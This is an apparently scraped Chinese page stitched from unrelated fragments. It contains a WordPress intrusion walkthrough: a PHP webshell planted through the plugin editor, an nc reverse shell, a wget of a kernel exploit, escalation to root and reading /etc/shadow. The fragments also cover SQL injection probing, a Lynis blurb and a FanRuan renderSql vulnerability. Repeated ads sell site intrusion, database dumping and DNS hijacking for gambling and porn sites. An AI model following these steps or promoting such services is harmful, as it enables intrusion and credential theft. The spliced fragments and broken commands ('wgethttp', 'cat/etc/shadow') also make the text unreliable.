登陆wordpress的后台wp-admin

尝试上传php webshell到服务器，以方便运行一些linux命令.在插件页面寻找任何可以编辑的插件.我们选择Textile这款插件，编辑插入我们的php webshell，点击更新文件，然后访问我们的phpwebshell.
金融股民渗透国内app，海外网站app，入侵后台，说裤数据库，dns持服务器进入等等
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM

Phpwebshell被解析了，我们可以控制你网站的文件，但是我们只希望获得网站服务器的root权限,来入侵服务器上其它的网站。

我们用NC来反弹一个shell,首先在我们的电脑上监听5555端口.

现在我们知道，服务器的内核版本是2.6.31.5-127.fc12.1686,我们在exploit-db.com中搜索此版本的相关漏洞.

在服务器上测试了很多exp之后，我们用以下的exp来提升权限.

http://www.exploit-db.com/exploits/15285

我们在nc shell上执行以下命令:

wgethttp://www.exploit-db.com/exploits/15285 -o roro.c

(下载exp到服务器并重命名为roro.c)
注：很多linux内核的exp都是C语言开发的,因此我们保存为.c扩展名.
exp roro.c代码如下：

执行完成之后我们输入id命令
id
我们发现我们已经是root权限了
uid=0(root) gid=0(root)

现在我们可以查看/etc/shadow文件
cat/etc/shadow

判断该功能为查询输入的userid是否存在，若存在则返回相关消息。故可判断可能存在与数据库连接进行查询操作。再观察url：http://192.168.8.9/html/vul/sqli/sqli_id.php和burp抓包

通过post方法传递id参数，与后端进行交互。判断id可能为sql注入点；

Lynis 是安全审计、合规性测试和系统强化的强大工具。当然，你也可以将其用于漏洞检测和渗透测试。

它将根据检测到的组件扫描系统。例如，如果它检测到 Apache —— 它将针对入口信息运行与 Apache 相关的测试。
DNS流量转流量持持跳转运营商持域名跳转！
适合以下这几种行业！
六合·色站·彩票·博彩·金融
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM

前两行分别是从请求当中的sessionID来获取一个模板对象以及对应的Calculator，主要是用于处理各种公式运算

而init方法中有个很熟悉的字眼：renderSql方法，跟进这个方法是某个nday中的漏洞点，可以处理一些帆软内置的函数，其中第二个参数为要处理的字符串，按道理来说只要能控制this.tableData.getQuery()的值就能执行内置函数，但我们跟进到这里会发现，query的值是不可控的 TableData只能从数据源中获取
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM